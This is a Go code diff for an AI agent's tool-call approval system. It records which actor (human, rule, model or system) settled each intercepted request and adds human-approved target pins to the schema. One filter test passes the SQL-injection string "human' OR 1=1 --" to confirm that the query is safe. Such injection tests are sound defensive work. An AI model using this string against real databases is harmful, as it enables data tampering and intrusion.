+			t.Fatalf("stored decided_by for %d: %+v err=%v, want %q", id, stored, err, actor)
+		}
+		detail, err := d.GetInterceptDetail(id)
+		if err != nil || detail == nil || detail.DecidedBy != actor {
+			t.Fatalf("detail decided_by for %d: %+v err=%v, want %q", id, detail, err, actor)
+		}
+	}
+	rows, err := d.ListTaskIntercepts(scope)
+	if err != nil || len(rows) != len(want) {
+		t.Fatalf("list: %d rows err=%v", len(rows), err)
+	}
+	for _, r := range rows {
+		if r.DecidedBy != want[r.ID] {
+			t.Fatalf("listed decided_by for %d = %q, want %q", r.ID, r.DecidedBy, want[r.ID])
+		}
+	}
+
+	// A rejected actor must leave the request pending and unattributed.
+	if ok, err := d.ResolveIntercept(pendingID, "allowed", "allow", "fixture", "admin"); err == nil || ok {
+		t.Fatalf("invalid actor resolved the request: ok=%t err=%v", ok, err)
+	}
+	if p, err := d.GetInterceptPending(pendingID); err != nil || p.Status != "pending" || p.DecidedBy != "" {
+		t.Fatalf("pending row changed: %+v err=%v", p, err)
+	}
+
+	filtered := func(filter InterceptApprovalFilter) []int64 {
+		t.Helper()
+		rows, total, err := d.ListTaskInterceptsPage(scope, 1, 100, filter)
+		if err != nil || total != len(rows) {
+			t.Fatalf("filter %+v: total=%d rows=%d err=%v", filter, total, len(rows), err)
+		}
+		ids := []int64{}
+		for _, r := range rows {
+			ids = append(ids, r.ID)
+		}
+		slices.Sort(ids)
+		return ids
+	}
+	for _, tc := range []struct {
+		filter InterceptApprovalFilter
+		want   []int64
+	}{
+		// Neither the human decisions nor the timeout of a model-raised ask.
+		{InterceptApprovalFilter{DecidedBy: "model"}, []int64{modelID}},
+		{InterceptApprovalFilter{DecidedBy: "rule"}, []int64{ruleID}},
+		{InterceptApprovalFilter{DecidedBy: "human"}, []int64{humanAllowID, humanDenyID}},
+		{InterceptApprovalFilter{DecidedBy: "system"}, []int64{timeoutID, cancelledID}},
+		{InterceptApprovalFilter{Status: "denied", DecidedBy: "human"}, []int64{humanDenyID}},
+		{InterceptApprovalFilter{Status: "denied", DecidedBy: "system"}, []int64{cancelledID}},
+		{InterceptApprovalFilter{DecidedBy: "human' OR 1=1 --"}, []int64{}},
+	} {
+		if got := filtered(tc.filter); !slices.Equal(got, tc.want) {
+			t.Fatalf("filter %+v: got %v want %v", tc.filter, got, tc.want)
+		}
+	}
+
+	// Rows decided before the column existed: decided_by stays empty everywhere it
+	// is read, decision_source keeps its own column, nothing is rewritten, and no
+	// decided_by filter matches them.
+	if _, err := d.Exec(`UPDATE intercept_pending SET decided_by='' WHERE id IN ($1,$2,$3)`, ruleID, modelID, timeoutID); err != nil {
+		t.Fatal(err)
+	}
+	legacy := map[int64]string{ruleID: "rule", modelID: "model", timeoutID: "model"}
+	for id, source := range legacy {
+		detail, err := d.GetInterceptDetail(id)
+		if err != nil || detail == nil || detail.DecidedBy != "" || detail.DecisionSource != source {
+			t.Fatalf("legacy detail for %d: %+v err=%v, want decided_by \"\" and decision_source %q", id, detail, err, source)
+		}
+		stored, err := d.GetInterceptPending(id)
+		if err != nil || stored == nil || stored.DecidedBy != "" {
+			t.Fatalf("legacy row %d rewritten: %+v err=%v", id, stored, err)
+		}
+	}
+	rows, err = d.ListTaskIntercepts(scope)
+	if err != nil {
+		t.Fatal(err)
+	}
+	for _, r := range rows {
+		if source, ok := legacy[r.ID]; ok && (r.DecidedBy != "" || r.DecisionSource != source) {
+			t.Fatalf("legacy list row %d: decided_by=%q decision_source=%q, want \"\" and %q", r.ID, r.DecidedBy, r.DecisionSource, source)
+		}
+	}
+	for _, actor := range []string{"human", "rule", "model", "system"} {
+		for _, id := range filtered(InterceptApprovalFilter{DecidedBy: actor}) {
+			if _, ok := legacy[id]; ok {
+				t.Fatalf("legacy row %d matched decided_by=%s", id, actor)
+			}
+		}
+	}
+	// decision_source still finds them through its own filter.
+	if got := filtered(InterceptApprovalFilter{DecisionSource: "rule"}); !slices.Contains(got, ruleID) {
+		t.Fatalf("legacy rule row missing from decision_source=rule: %v", got)
+	}
+}

db/intercept_detail.go

@@ -3,6 +3,7 @@ package db
 import (
 	"database/sql"
 	"encoding/json"
+	"fmt"
 	"time"
 )
 
@@ -42,6 +43,35 @@ type InterceptAudit struct {
 	Output           string                  `json:"output,omitempty"`
 	OutputTruncated  bool                    `json:"output_truncated,omitempty"`
 	ExecutionEndedAt *time.Time              `json:"execution_ended_at,omitempty"`
+	// Targets is set on target approval requests only (target_key IS NOT NULL).
+	Targets []InterceptTarget `json:"targets,omitempty"`
+	// MergedAsk marks a target request that also carries the ask of a rule or of
+	// the judge: one row, one decision for both.
+	MergedAsk bool `json:"merged_ask,omitempty"`
+	// Approver and ApproverAddr identify the human behind a decision: the subject
+	// of the session token and the remote address of the request. decided_by keeps
+	// the actor class (human).
+	Approver     string `json:"approver,omitempty"`
+	ApproverAddr string `json:"approver_addr,omitempty"`
+}
+
+// InterceptTarget is one asset target of a target approval request: what was
+// asked for, the addresses shown to the human, and the pin it relates to.
+type InterceptTarget struct {
+	Host        string    `json:"host"`
+	Port        int       `json:"port"` // 0 = port not declared
+	Kind        string    `json:"kind,omitempty"`
+	ResolvedIPs []string  `json:"resolved_ips"`
+	Resolver    string    `json:"resolver,omitempty"`
+	ResolvedAt  time.Time `json:"resolved_at"`
+	PinID       int64     `json:"pin_id,omitempty"`
+	PinVersion  int       `json:"pin_version,omitempty"`
+	PinnedIPs   []string  `json:"pinned_ips,omitempty"`
+	Reason      string    `json:"reason,omitempty"` // no_pin | new_ip | revoked
+	Outcome     string    `json:"outcome"`          // requested | pinned | denied
+	// NameOnlyEffective: requested while the upstream egress proxy was set; a pin
+	// created from this request covers the name only.
+	NameOnlyEffective bool `json:"name_only_effective,omitempty"`
 }
 
 type InterceptDetail struct {
@@ -55,7 +85,7 @@ func (d *DB) GetInterceptDetail(id int64) (*InterceptDetail, error) {
 	err := d.QueryRow(approvalRowSelectWithAudit+` WHERE ip.id=$1`, id).Scan(
 		&out.ID, &out.RuleID, &out.ConversationID, &out.TaskID, &out.AgentName,
 		&out.ToolName, &out.ToolInput, &out.Status, &out.Reason, &out.DecidedAt, &out.CreatedAt,
-		&out.DecisionSource, &out.ConvTitle, &out.ConvAgentKey, &out.RuleName, &raw,
+		&out.DecisionSource, &out.DecidedBy, &out.ConvTitle, &out.ConvAgentKey, &out.RuleName, &raw,
 	)
 	if err == sql.ErrNoRows {
 		return nil, nil
@@ -73,22 +103,44 @@ func (d *DB) GetInterceptDetail(id int64) (*InterceptDetail, error) {
 
 // ResolveIntercept atomically settles a pending request. A timeout cannot
 // overwrite a human decision and repeat decisions cannot rewrite history.
-func (d *DB) ResolveIntercept(id int64, status, action, reason string) (bool, error) {
+// decidedBy records the settling actor (human | rule | model | system); it is
+// supplied by the caller because status alone cannot tell them apart.
+func (d *DB) ResolveIntercept(id int64, status, action, reason, decidedBy string) (bool, error) {
+	return d.ResolveInterceptBy(id, status, action, reason, decidedBy, "", "")
+}
+
+// ResolveInterceptBy is ResolveIntercept for a decision whose author is known:
+// approver (subject of the session token) and remoteAddr (address of the
+// request) are recorded in the row's audit when non-empty. A row without an
+// audit keeps none.
+func (d *DB) ResolveInterceptBy(id int64, status, action, reason, decidedBy, approver, remoteAddr string) (bool, error) {
+	switch decidedBy {
+	case "human", "rule", "model", "system":
+	default:
+		return false, fmt.Errorf("decided_by must be human, rule, model or system, got %q", decidedBy)
+	}
 	execution := "not_executed"
 	if action == "allow" {
 		execution = "awaiting_result"
 	}
-	patch, err := json.Marshal(map[string]any{
+	fields := map[string]any{
 		"effective_action": action, "decision_reason": reason, "execution_status": execution,
-	})
+	}
+	if approver != "" {
+		fields["approver"] = approver
+	}
+	if remoteAddr != "" {
+		fields["approver_addr"] = remoteAddr
+	}
+	patch, err := json.Marshal(fields)
 	if err != nil {
 		return false, err
 	}
-	r, err := d.Exec(`UPDATE intercept_pending SET status=$2, decided_at=NOW(),
+	r, err := d.Exec(`UPDATE intercept_pending SET status=$2, decided_at=NOW(), decided_by=$5,
 		audit=CASE WHEN audit IS NULL THEN NULL ELSE audit || $3::jsonb ||
         CASE WHEN $4='allow' AND audit->>'correlation' IS DISTINCT FROM 'exact'
         THEN '{"execution_status":"unknown"}'::jsonb ELSE '{}'::jsonb END END
-        WHERE id=$1 AND status='pending'`, id, status, patch, action)
+        WHERE id=$1 AND status='pending'`, id, status, patch, action, decidedBy)
 	if err != nil {
 		return false, err
 	}

db/intercept_detail_test.go

@@ -49,7 +49,7 @@ func TestInterceptDetails(t *testing.T) {
 		var wg sync.WaitGroup
 		for range 8 {
 			wg.Go(func() {
-				ok, err := d.ResolveIntercept(id, "allowed", "allow", "allowed manually")
+				ok, err := d.ResolveIntercept(id, "allowed", "allow", "allowed manually", "human")
 				if err != nil {
 					t.Error(err)
 				}
@@ -62,7 +62,7 @@ func TestInterceptDetails(t *testing.T) {
 		if wins.Load() != 1 {
 			t.Fatalf("%d decisions won", wins.Load())
 		}
-		ok, err := d.ResolveIntercept(id, "timeout", "deny", "late timeout")
+		ok, err := d.ResolveIntercept(id, "timeout", "deny", "late timeout", "system")
 		if err != nil || ok {
 			t.Fatal("timeout overwrote decision")
 		}
@@ -90,7 +90,7 @@ func TestInterceptDetails(t *testing.T) {
 	})
 	t.Run("denied output and timeout allow", func(t *testing.T) {
 		id := create(t, &InterceptAudit{RunID: "run", ToolUseID: "call", ExecutionStatus: "not_started"})
-		if _, err := d.ResolveIntercept(id, "denied", "deny", "denied manually"); err != nil {
+		if _, err := d.ResolveIntercept(id, "denied", "deny", "denied manually", "human"); err != nil {
 			t.Fatal(err)
 		}
 		if err := d.CompleteIntercept(id, "run", "call", "failed", "Blocked by hook", false); err != nil {
@@ -101,7 +101,7 @@ func TestInterceptDetails(t *testing.T) {
 			t.Fatal("denial presented as executed")
 		}
 		id = create(t, &InterceptAudit{RunID: "run2", ToolUseID: "call2", Correlation: "exact", InitialAction: "ask"})
-		if _, err := d.ResolveIntercept(id, "timeout", "allow", "timeout allow"); err != nil {
+		if _, err := d.ResolveIntercept(id, "timeout", "allow", "timeout allow", "system"); err != nil {
 			t.Fatal(err)
 		}
 		if err := d.CompleteIntercept(id, "run2", "call2", "succeeded", "ok", false); err != nil {
@@ -126,6 +126,7 @@ func TestInterceptDetails(t *testing.T) {
 			if legacy {
 				delete(row, "audit")
 				delete(row, "decision_source")
+				delete(row, "decided_by")
 			}
 			archived, _ := json.Marshal([]map[string]any{row})
 			tx, err := d.Begin()
@@ -139,13 +140,14 @@ func TestInterceptDetails(t *testing.T) {
 			if err := restoreInterceptRows(tx, archived); err != nil {
 				t.Fatalf("legacy=%t: %v", legacy, err)
 			}
-			var status, source string
+			var status, source, decidedBy string
 			var auditJSON []byte
-			if err := tx.QueryRow(`SELECT status, decision_source, audit FROM intercept_pending WHERE id=$1`, id).Scan(&status, &source, &auditJSON); err != nil {
+			if err := tx.QueryRow(`SELECT status, decision_source, decided_by, audit FROM intercept_pending WHERE id=$1`, id).Scan(&status, &source, &decidedBy, &auditJSON); err != nil {
 				t.Fatal(err)
 			}
-			if status != "timeout" || source != "model" {
-				t.Fatalf("restored %s/%s", status, source)
+			// The restore itself times the request out: a system decision.
+			if status != "timeout" || source != "model" || decidedBy != "system" {
+				t.Fatalf("restored %s/%s/%s", status, source, decidedBy)
 			}
 			if legacy && len(auditJSON) > 0 {
 				t.Fatal("fabricated legacy audit")

db/intercept_filter_test.go

@@ -38,7 +38,7 @@ func TestInterceptApprovalFilters(t *testing.T) {
 						ruleID = rule.ID
 					}
 					if source == "model" {
-						reason = "[Model] fixture"
+						reason = ModelReasonPrefix + " fixture"
 					}
 					id, err := d.CreateDecidedIntercept(ruleID, 0, task, "test", "Bash", []byte(`{"command":"fixture"}`), status, reason)
 					if err != nil {

db/intercept_source_test.go

@@ -0,0 +1,37 @@
+package db_test
+
+import (
+	"testing"
+
+	"github.com/Autumn-27/artex/db"
+	"github.com/Autumn-27/artex/intercept"
+)
+
+// The judge writer (package intercept) and the decision_source readers (package
+// db) must agree on the reason prefix; this pins them together without Postgres.
+func TestInterceptSourceMatchesJudgeWriter(t *testing.T) {
+	for _, tc := range []struct{ action, message string }{
+		{"allow", ""},
+		{"deny", "destructive command outside the workspace"},
+		{"ask", db.ModelReasonPrefix + " already prefixed"},
+	} {
+		reason := intercept.JudgeReason(tc.action, tc.message)
+		if got := db.InterceptSource(0, reason); got != "model" {
+			t.Fatalf("JudgeReason(%q, %q) = %q classified as %q, want model", tc.action, tc.message, reason, got)
+		}
+	}
+}
+
+func TestInterceptSourceLegacyModelPrefix(t *testing.T) {
+	for _, reason := range []string{"[模型] 允许", "[Model] fixture"} {
+		if got := db.InterceptSource(0, reason); got != "model" {
+			t.Fatalf("%q classified as %q, want model", reason, got)
+		}
+	}
+	if got := db.InterceptSource(0, "legacy reason"); got != "unknown" {
+		t.Fatalf("plain reason classified as %q, want unknown", got)
+	}
+	if got := db.InterceptSource(7, "[model] rule wins"); got != "rule" {
+		t.Fatalf("rule row classified as %q, want rule", got)
+	}
+}

db/schema.sql

@@ -201,6 +201,13 @@ ALTER TABLE exploration_nodes ADD COLUMN IF NOT EXISTS delete_reason TEXT;
 -- a node most recently went from "has a live downstream branch" to none (NULL = hot).
 ALTER TABLE exploration_nodes ADD COLUMN IF NOT EXISTS content_version  INT    NOT NULL DEFAULT 0;
 ALTER TABLE exploration_nodes ADD COLUMN IF NOT EXISTS cold_since_round BIGINT;
+-- Intent claim lease: unclaim_token is the fencing token of the current claim (fresh
+-- per claim, cleared when the claim is settled or taken over); last_heartbeat_at is
+-- the claimer's latest heartbeat. A running intent whose heartbeat is older than
+-- db.IntentClaimTTL may be taken over. Both are NULL on rows claimed before these
+-- columns existed, which counts as expired.
+ALTER TABLE exploration_nodes ADD COLUMN IF NOT EXISTS last_heartbeat_at TIMESTAMPTZ;
+ALTER TABLE exploration_nodes ADD COLUMN IF NOT EXISTS unclaim_token     TEXT;
 -- ck_node_kind: existing installs predate the 'digest' kind — recreate to allow it.
 DO $$
 BEGIN
@@ -396,6 +403,8 @@ CREATE TABLE IF NOT EXISTS llm_profiles (
     -- Custom session header: when non-empty, every request carries an HTTP header of this name whose value is the current session id
     -- (chat session/worker intent). For gateways that do prompt caching/sticky routing by a session-id header. ''=do not send.
     session_header_key TEXT NOT NULL DEFAULT '',
+    -- Custom User-Agent: when non-empty, every outbound LLM request overrides the User-Agent header with this value. ''=do not override (keep the default UA).
+    user_agent       TEXT NOT NULL DEFAULT '',
     -- Retry overrides: attempts 0=use global default / -1=disable / >0=use this value; interval 0=use default exponential backoff / >0=fixed milliseconds.
     -- The three groups correspond to connect retry, empty-response retry, and same-provider safe-window retry; see the ALTER comment below.
     retry_connect_attempts    INTEGER NOT NULL DEFAULT 0,
@@ -436,6 +445,8 @@ ALTER TABLE llm_profiles ADD  CONSTRAINT llm_profiles_max_tokens_check
     CHECK (max_tokens >= 0);
 -- Custom session header name; backfills old databases. Default '' = do not send; old configs behave unchanged.
 ALTER TABLE llm_profiles ADD COLUMN IF NOT EXISTS session_header_key TEXT NOT NULL DEFAULT '';
+-- Custom User-Agent; backfills old databases. Default '' = do not override (keep the default UA); old configs behave unchanged.
+ALTER TABLE llm_profiles ADD COLUMN IF NOT EXISTS user_agent TEXT NOT NULL DEFAULT '';
 
 -- Per-profile retry overrides (see the LLM retry design doc). Each of the three groups is a pair of
 -- "attempts + fixed interval" with unified semantics: attempts 0=use the global default, -1=disable this layer's
@@ -547,6 +558,8 @@ CREATE TRIGGER trg_tasks_upd BEFORE UPDATE ON tasks
 -- planner heartbeat trigger interval (seconds); backfills old databases. Default 300s (5min). See docs/planner-trigger-impl-plan.md
 ALTER TABLE tasks ADD COLUMN IF NOT EXISTS plan_heartbeat_seconds INTEGER NOT NULL DEFAULT 300;
 ALTER TABLE tasks ADD COLUMN IF NOT EXISTS plan_quiet_mode BOOLEAN NOT NULL DEFAULT true;
+-- Approval gate for asset targets, opt-in per task; backfills old databases. false (default) = no gate, behaviour unchanged.
+ALTER TABLE tasks ADD COLUMN IF NOT EXISTS target_gate BOOLEAN NOT NULL DEFAULT false;
 ALTER TABLE tasks ADD COLUMN IF NOT EXISTS llm_rotate BOOLEAN NOT NULL DEFAULT false;
 -- Concurrency-limit hold state; backfills old databases. true=queued due to the concurrency limit, auto-starts when a slot frees up.
 ALTER TABLE tasks ADD COLUMN IF NOT EXISTS queued BOOLEAN NOT NULL DEFAULT false;
@@ -984,6 +997,8 @@ CREATE TABLE IF NOT EXISTS conversations (
     updated_at     TIMESTAMPTZ NOT NULL DEFAULT now()
 );
 ALTER TABLE conversations ADD COLUMN IF NOT EXISTS pinned_at TIMESTAMPTZ;
+-- Approval gate for asset targets, opt-in per conversation (a chat has no task). false (default) = no gate.
+ALTER TABLE conversations ADD COLUMN IF NOT EXISTS target_gate BOOLEAN NOT NULL DEFAULT false;
 CREATE INDEX IF NOT EXISTS idx_conversations_llm_profile ON conversations(llm_profile_id) WHERE llm_profile_id IS NOT NULL;
 CREATE INDEX IF NOT EXISTS idx_conversations_pinned ON conversations(pinned_at DESC) WHERE pinned_at IS NOT NULL;
 DROP TRIGGER IF EXISTS trg_conversations_upd ON conversations;
@@ -1084,7 +1099,7 @@ CREATE TABLE IF NOT EXISTS intercept_pending (
     tool_input      JSONB NOT NULL DEFAULT '{}',
     status          TEXT NOT NULL DEFAULT 'pending'
                         CHECK (status IN ('pending', 'allowed', 'denied', 'timeout')),
-    -- Decision reason: the rule message when a rule hits; the model's short reason (with the [Model] prefix) for an LLM fallback decision.
+    -- Decision reason: the rule message when a rule hits; the model's short reason (with the [model] prefix) for an LLM fallback decision.
     reason          TEXT NOT NULL DEFAULT '',
     decided_at      TIMESTAMPTZ,
     created_at      TIMESTAMPTZ NOT NULL DEFAULT NOW()
@@ -1098,6 +1113,65 @@ ALTER TABLE intercept_pending ADD COLUMN IF NOT EXISTS audit JSONB;
 ALTER TABLE intercept_pending ADD COLUMN IF NOT EXISTS decision_source TEXT NOT NULL DEFAULT '';
 UPDATE intercept_pending SET decision_source=CASE WHEN rule_id IS NOT NULL THEN 'rule'
  WHEN reason LIKE '[Model]%' THEN 'model' ELSE 'unknown' END WHERE decision_source='';
+-- Judge decisions were stored as 'unknown' because the readers expected a capitalized
+-- prefix while the judge wrote '[model]' (and '[模型]' before e233c02). Idempotent:
+-- once corrected no row matches the WHERE clause again.
+UPDATE intercept_pending SET decision_source='model'
+ WHERE decision_source='unknown' AND rule_id IS NULL
+   AND (reason LIKE '[model]%' OR reason LIKE '[模型]%');
+-- Actor that settled the request: '' (pending, or decided before this column
+-- existed) | human | rule | model | system. No backfill: readers fall back to
+-- decision_source for legacy rows instead of rewriting history.
+ALTER TABLE intercept_pending ADD COLUMN IF NOT EXISTS decided_by TEXT NOT NULL DEFAULT '';
+-- Target approval requests. target_key = '<host>:<port>' of the asset target the row asks for;
+-- NULL = classic ask (and every row that predates the column). At most one open request per
+-- scope (task or conversation) and target: concurrent calls to one host share one row.
+ALTER TABLE intercept_pending ADD COLUMN IF NOT EXISTS target_key TEXT;
+CREATE UNIQUE INDEX IF NOT EXISTS uq_intercept_pending_target
+    ON intercept_pending (COALESCE(task_id,''), COALESCE(conversation_id,0), target_key)
+    WHERE status = 'pending' AND target_key IS NOT NULL;
+
+-- Target pins: host + port approved by a human for one task or one conversation, with the
+-- addresses shown at approval time. Written only by the decide endpoint. No foreign keys on
+-- task_id, conversation_id and intercept_id: a pin outlives its task, its conversation and its
+-- request row as history (revoked, never deleted). status and revoked_reason carry no CHECK
+-- (validated in Go, same convention as findings.status).
+CREATE TABLE IF NOT EXISTS target_pins (
+    id              BIGSERIAL PRIMARY KEY,
+    task_id         BIGINT,
+    conversation_id BIGINT,
+    host            TEXT NOT NULL,                  -- normalised name, IP literal or CIDR
+    port            INTEGER NOT NULL DEFAULT 0,     -- 0 = port not declared: covers every port of the host
+    version         INTEGER NOT NULL DEFAULT 1,
+    pinned_ips      TEXT[] NOT NULL DEFAULT '{}',   -- canonical, sorted
+    resolver        TEXT NOT NULL DEFAULT '',
+    resolved_at     TIMESTAMPTZ NOT NULL DEFAULT now(),
+    status          TEXT NOT NULL DEFAULT 'active', -- active | superseded | revoked
+    intercept_id    BIGINT,                         -- the request row that carried the click
+    decided_by      TEXT NOT NULL DEFAULT '',       -- approver: subject of the session token
+    decided_from    TEXT NOT NULL DEFAULT '',       -- remote address of the click
+    -- Approved while the upstream egress proxy was set: the proxy chooses the address, so the
+    -- pin covers the name only and its addresses are not compared. Stays true if the proxy is
+    -- removed later; enforcing addresses again takes a new approval.
+    name_only_effective BOOLEAN NOT NULL DEFAULT false,
+    revoked_at      TIMESTAMPTZ,
+    revoked_reason  TEXT NOT NULL DEFAULT '',       -- operator | task_deleted | conversation_deleted
+    created_at      TIMESTAMPTZ NOT NULL DEFAULT now()
+);
+CREATE UNIQUE INDEX IF NOT EXISTS uq_target_pins_active
+    ON target_pins (COALESCE(task_id,0), COALESCE(conversation_id,0), host, port)
+    WHERE status = 'active';
+CREATE INDEX IF NOT EXISTS idx_target_pins_scope ON target_pins (task_id, conversation_id, status);
+
+-- Append-only history of the target-gate exemption list (settings key target_gate_exempt_hosts).
+CREATE TABLE IF NOT EXISTS target_gate_exemption_log (
+    id          BIGSERIAL PRIMARY KEY,
+    changed_at  TIMESTAMPTZ NOT NULL DEFAULT now(),
+    changed_by  TEXT NOT NULL DEFAULT '',
+    before      JSONB,
+    after       JSONB,
+    digest      TEXT NOT NULL DEFAULT ''
+);
 
 -- =====================================================================
 -- L. Finding persistence
@@ -1167,6 +1241,12 @@ CREATE TRIGGER trg_conversation_retest_delete BEFORE DELETE ON conversations
 
 ALTER TABLE findings ADD COLUMN IF NOT EXISTS evidence_version BIGINT NOT NULL DEFAULT 0;
 ALTER TABLE findings ADD COLUMN IF NOT EXISTS report_evidence_version BIGINT NOT NULL DEFAULT 0;
+-- Machine-checked proof state (S1). Separate from status (human disposition). Existing rows stay
+-- unverified / POE 0: history is never auto-verified. Values validated server-side, no CHECK.
+-- verification_status: verified / unverified / blocked / not_assessed / false_positive.
+ALTER TABLE findings ADD COLUMN IF NOT EXISTS poe_level SMALLINT NOT NULL DEFAULT 0;
+ALTER TABLE findings ADD COLUMN IF NOT EXISTS verification_status TEXT NOT NULL DEFAULT 'unverified';
+ALTER TABLE findings ADD COLUMN IF NOT EXISTS verification_note TEXT NOT NULL DEFAULT '';
 
 CREATE TABLE IF NOT EXISTS traffic_evidence_snapshots (
     id TEXT PRIMARY KEY,

db/target_pins.go

@@ -0,0 +1,393 @@
+package db
+
+import (
+	"database/sql"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"sort"
+	"strconv"
+	"time"
+)
+
+// TargetScopeRef names what a target pin or a target approval request is bound
+// to: one task or one conversation, never both.
+type TargetScopeRef struct {
+	TaskID         int64
+	ConversationID int64
+}
+
+func (s TargetScopeRef) check() error {
+	if (s.TaskID > 0) == (s.ConversationID > 0) {
+		return fmt.Errorf("target scope must name one task or one conversation, got task %d and conversation %d", s.TaskID, s.ConversationID)
+	}
+	return nil
+}
+
+// pendingScope is the scope as intercept_pending stores it: task_id is TEXT
+// there, and the column of the other kind is NULL.
+func (s TargetScopeRef) pendingScope() (taskID *string, convID *int64) {
+	if s.TaskID > 0 {
+		v := strconv.FormatInt(s.TaskID, 10)
+		return &v, nil
+	}
+	return nil, &s.ConversationID
+}
+
+// TargetKey is the key of an asset target inside its scope: host and port. The
+// port is always the part after the last colon, so the key stays unambiguous
+// for IPv6 literals and CIDRs.
+func TargetKey(host string, port int) string {
+	return host + ":" + strconv.Itoa(port)
+}
+
+// Target pin states and revocation reasons. The columns carry no CHECK; these
+// are the only values written.
+const (
+	TargetPinActive     = "active"
+	TargetPinSuperseded = "superseded"
+	TargetPinRevoked    = "revoked"
+
+	TargetPinRevokedByOperator         = "operator"
+	TargetPinRevokedTaskDeleted        = "task_deleted"
+	TargetPinRevokedConversationDelete = "conversation_deleted"
+)
+
+// TargetPin is one row of target_pins: a host and port a human approved for one
+// scope, with the addresses that were shown at approval time. Port 0 means the
+// port was not declared and covers every port of the host.
+type TargetPin struct {
+	ID             int64     `json:"id"`
+	TaskID         *int64    `json:"task_id"`
+	ConversationID *int64    `json:"conversation_id"`
+	Host           string    `json:"host"`
+	Port           int       `json:"port"`
+	Version        int       `json:"version"`
+	PinnedIPs      []string  `json:"pinned_ips"`
+	Resolver       string    `json:"resolver"`
+	ResolvedAt     time.Time `json:"resolved_at"`
+	Status         string    `json:"status"`
+	InterceptID    *int64    `json:"intercept_id"`
+	DecidedBy      string    `json:"decided_by"`
+	DecidedFrom    string    `json:"decided_from"`
+	// NameOnlyEffective: approved while the upstream egress proxy was set, so the
+	// pin covers the name and its addresses are not compared. It stays set when
+	// the proxy is removed later.
+	NameOnlyEffective bool       `json:"name_only_effective"`
+	RevokedAt         *time.Time `json:"revoked_at,omitempty"`
+	RevokedReason     string     `json:"revoked_reason,omitempty"`
+	CreatedAt         time.Time  `json:"created_at"`
+}
+
+const targetPinCols = `id, task_id, conversation_id, host, port, version, array_to_json(pinned_ips)::text, resolver, resolved_at, status, intercept_id, decided_by, decided_from, name_only_effective, revoked_at, revoked_reason, created_at`
+
+// targetPinScope matches the expressions of uq_target_pins_active.
+const targetPinScope = `COALESCE(task_id,0)=$1 AND COALESCE(conversation_id,0)=$2`
+
+func scanTargetPin(row interface{ Scan(...any) error }) (*TargetPin, error) {
+	var p TargetPin
+	var ips string
+	if err := row.Scan(&p.ID, &p.TaskID, &p.ConversationID, &p.Host, &p.Port, &p.Version, &ips, &p.Resolver, &p.ResolvedAt,
+		&p.Status, &p.InterceptID, &p.DecidedBy, &p.DecidedFrom, &p.NameOnlyEffective, &p.RevokedAt, &p.RevokedReason, &p.CreatedAt); err != nil {
+		return nil, err
+	}
+	if err := json.Unmarshal([]byte(ips), &p.PinnedIPs); err != nil {
+		return nil, err
+	}
+	return &p, nil
+}
+
+func queryTargetPins(q interface {
+	Query(string, ...any) (*sql.Rows, error)
+}, query string, args ...any) ([]*TargetPin, error) {
+	rows, err := q.Query(query, args...)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+	out := []*TargetPin{}
+	for rows.Next() {
+		p, err := scanTargetPin(rows)
+		if err != nil {
+			return nil, err
+		}
+		out = append(out, p)
+	}
+	return out, rows.Err()
+}
+
+// ActiveTargetPins returns the active pins that may cover the target
+// (host, port) in scope, the pin on the exact port first. A target on a declared
+// port has two candidates: the pin on that port and the pin on port 0. A target
+// whose port is not declared (0) has one: a pin on a specific port never covers
+// it. The address sets of two pins are never merged by the caller.
+func (d *DB) ActiveTargetPins(scope TargetScopeRef, host string, port int) ([]*TargetPin, error) {
+	if err := scope.check(); err != nil {
+		return nil, err
+	}
+	return queryTargetPins(d, `SELECT `+targetPinCols+` FROM target_pins
+WHERE `+targetPinScope+` AND host=$3 AND port IN ($4, 0) AND status='active'
+ORDER BY port DESC`, scope.TaskID, scope.ConversationID, host, port)
+}
+
+// ListTargetPins returns every pin of scope in any state, newest first.
+func (d *DB) ListTargetPins(scope TargetScopeRef) ([]*TargetPin, error) {
+	if err := scope.check(); err != nil {
+		return nil, err
+	}
+	return queryTargetPins(d, `SELECT `+targetPinCols+` FROM target_pins
+WHERE `+targetPinScope+` ORDER BY id DESC`, scope.TaskID, scope.ConversationID)
+}
+
+// RevokeTargetPin revokes one active pin of scope on behalf of the operator and
+// returns the pin as it is afterwards (nil when scope has no such pin). Revoking
+// a pin that is no longer active changes nothing.
+func (d *DB) RevokeTargetPin(scope TargetScopeRef, pinID int64) (*TargetPin, error) {
+	if err := scope.check(); err != nil {
+		return nil, err
+	}
+	if _, err := d.Exec(`UPDATE target_pins SET status='revoked', revoked_at=now(), revoked_reason=$4
+WHERE `+targetPinScope+` AND id=$3 AND status='active'`, scope.TaskID, scope.ConversationID, pinID, TargetPinRevokedByOperator); err != nil {
+		return nil, err
+	}
+	p, err := scanTargetPin(d.QueryRow(`SELECT `+targetPinCols+` FROM target_pins
+WHERE `+targetPinScope+` AND id=$3`, scope.TaskID, scope.ConversationID, pinID))
+	if errors.Is(err, sql.ErrNoRows) {
+		return nil, nil
+	}
+	return p, err
+}
+
+// revokeTaskPins marks the active pins of a task that is being deleted as
+// revoked. They stay as history; task ids are never reused, so a revoked pin
+// can never match again.
+func revokeTaskPins(tx *sql.Tx, taskID int64) error {
+	_, err := tx.Exec(`UPDATE target_pins SET status='revoked', revoked_at=now(), revoked_reason=$2
+WHERE task_id=$1 AND status='active'`, taskID, TargetPinRevokedTaskDeleted)
+	return err
+}
+
+// revokeConversationPins is revokeTaskPins for deleted conversations.
+func revokeConversationPins(tx *sql.Tx, convIDs []int64) error {
+	_, err := tx.Exec(`UPDATE target_pins SET status='revoked', revoked_at=now(), revoked_reason=$2
+WHERE conversation_id=ANY($1::bigint[]) AND status='active'`, convIDs, TargetPinRevokedConversationDelete)
+	return err
+}
+
+// settleTaskTargetRequests closes the open target requests of a task that is
+// being deleted: denied by the system, nothing pinned. Only target rows are
+// touched. (A conversation needs no counterpart: its rows cascade.)
+func settleTaskTargetRequests(tx *sql.Tx, taskID int64) error {
+	_, err := tx.Exec(`UPDATE intercept_pending SET status='denied', decided_at=NOW(), decided_by='system',
+	audit=CASE WHEN audit IS NULL THEN NULL ELSE audit ||
+	'{"effective_action":"deny","decision_reason":"task deleted","execution_status":"not_executed"}'::jsonb END
+WHERE COALESCE(task_id,'')=$1 AND status='pending' AND target_key IS NOT NULL`, strconv.FormatInt(taskID, 10))
+	return err
+}
+
+// TargetRequest is a new target approval request: the intercept_pending row a
+// gated call asks for when one of its targets has no pin that covers it.
+type TargetRequest struct {
+	Scope     TargetScopeRef
